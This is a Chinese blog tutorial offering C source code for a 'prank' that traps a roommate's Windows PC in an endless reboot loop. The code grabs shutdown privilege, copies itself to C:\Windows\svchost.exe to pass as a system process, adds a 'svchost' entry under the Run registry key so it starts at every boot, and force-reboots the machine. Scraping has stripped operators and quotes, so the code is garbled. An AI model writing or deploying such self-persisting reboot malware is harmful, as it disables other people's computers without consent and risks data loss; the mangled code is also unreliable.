快捷搜索:  朋友圈  as  伪静态  次数  响应式  虎牙  浏览数  anniu

【C语言】30行代码写出无限重启程序,室友太吵怎么办?

目录

嗨这里是狐狸~~

基本思路

注册表

代码解析

总结

视频讲解


路漫长而阔远一片星空美到寂。

嗨这里是狐狸~~

今天是2022年1月6日时间飞逝啊很多同学都已经放寒假了吧真的很羡慕放假的同学们。先给大家透个底今天这个项目厉害了今天做个恶搞程序这也是很多年前做的项目了那时室友天天通宵打游戏弄得我整晚整晚的睡不着之后便有了这个无限重启程序可以说打着之后她再也不敢通宵打游戏了嘿嘿现在觉着也满是怀念啊。

win10 开机一直在正在重新启动

 

基本思路

Windows.h

运用Windows.h头文件这就是说在这个程序只针对去Windows操作系统其他的不行。

注册表

通过注册表实现开机自启这样才能无限重启。

其他的就很简单了主要是Windows自带的功能我们调用并进行无限循环操作就好了嘿嘿。

代码解析

#include stdio.h#include stdlib.h#include Windows.hint WINAPI WinMain(HINSTANCE hInstance , HINSTANCE hPreInstance ,LPSTR lpCmdLine , int nCmdShow){//无限重启//调整权限HANDLE hToken;OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, hToken);//查看特权值LUID luid;LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, luid);//调整权限TOKEN_PRIVILEGES tkp;tkp.PrivilegeCount  1;tkp.Privileges[0].Attributes  SE_PRIVILEGE_ENABLED;tkp.Privileges[0].Luid  luid;AdjustTokenPrivileges(hToken, FALSE, tkp, sizeof(tkp), NULL, NULL);//开机自启动//计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY hKey;if (ERROR_SUCCESS ! RegOpenKeyEx(HKEY_CURRENT_USER, LSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run, 0, KEY_ALL_ACCESS, hKey)){printf(打开注册表失败.\n);return 0;}//获取当前exe路径wchar_t szAppPath[260];GetModuleFileName(NULL, szAppPath, MAX_PATH);wchar_t szObjPath[260]LC:\\Windows\\svchost.exe;//自我复制CopyFile(szAppPath, szObjPath, FALSE);//写入注册表RegSetValueEx(hKey, Lsvchost, 0, REG_SZ, (const BYTE*)szAppPath, 260);//关闭注册表RegCloseKey(hKey);//启动新的程序STARTUPINFO si  { sizeof(STARTUPINFO) };PROCESS_INFORMATION pi  {0};CreateProcess(NULL, szObjPath, NULL, NULL, FALSE, 0, NULL, NULL, si, pi);//MessageBox(NULL, szAppPath, L提示, MB_OK);//黑窗口效果//system(shutdown -r -t 0);//重启关机注销ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);//MessageBox(NULL, L运行了, L标题, MB_OK);return 0;}
        

您可能还会对下面的文章感兴趣: